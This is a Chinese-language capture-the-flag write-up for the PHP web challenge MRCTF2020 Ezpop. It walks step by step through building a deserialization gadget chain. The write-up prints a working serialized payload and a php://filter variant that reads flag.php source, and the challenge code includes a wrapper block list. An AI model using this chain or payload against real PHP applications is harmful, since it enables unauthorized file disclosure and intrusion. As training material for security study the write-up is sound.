乱七八糟的web题
乱七八糟的web题
[MRCTF2020]Ezpop(php反序列化)
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
拿到一个php反序列化的题 习惯上先把每个类定义一遍
$mod = new Modifier;
$show = new Show;
$test = new Test;
接着找哪里可以被利用得到flag
public function append($value){
include($value);
}
可以通过include()包含来获得flag 其中include()中的参数来自append()
public function __invoke(){
$this->append($this->var);
}
而append()中的参数来自于Modifier类中的var 但要注意源码中使用protected来定义的var 并不能直接通过$mod->var=flag.php修改 可以在源代码中直接修改
protected $var = "flag.php";
接着需要使__invoke()被调用
__invoke() //调用函数的方式调用一个对象时的回应方法
这里有个小tips 简单的题目中会用调用参数的类型来为参数命名 即此处的$function
public function __get($key){
$function = $this->p;
return $function();
}
所以只要把Test类中的p改为Modifier类 即可自动调用其中的__invoke()方法 所以构造:
$test->p = $mod;
接着再来触发__get()
__get() //读取不可访问属性的值时会被调用
public function __toString(){
return $this->str->source;
}
这里的str->source就可以用来触发__get()
$show->str = $test;
个人理解:将str=$test后运行str->source 因为Test类中并不存在source 所以不能被访问 即触发Test中的__get()
__toString() //类被当成字符串时的回应方法
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
然后找到唯一一处有字符串的地方来触发__toString()
$show->source = $show;
而__construct()在我们之前定义类的时候就被自动调用了
最后梳理一下整体思路:
创建类 -> Show::__construct() -> Show::__toString() -> Test::__get() -> Modifier::__invoke -> Modifier::append()
附图解:
运行得到payload为
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}
但提交后没有回显 进行url编码后再次提交

运行flag.php会显示help me find flag 而题目源码又提示flag is in flag.php 所以需要进一步去flag.php的源码中找 需要用到文件包含中的php伪协议 正好对应没用过的__wakeup()方法 所以将一开始的var改为php://来查看源码
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
最后提交payload 将得到的base64编码进行解码得到flag


浙公网安备 33010602011771号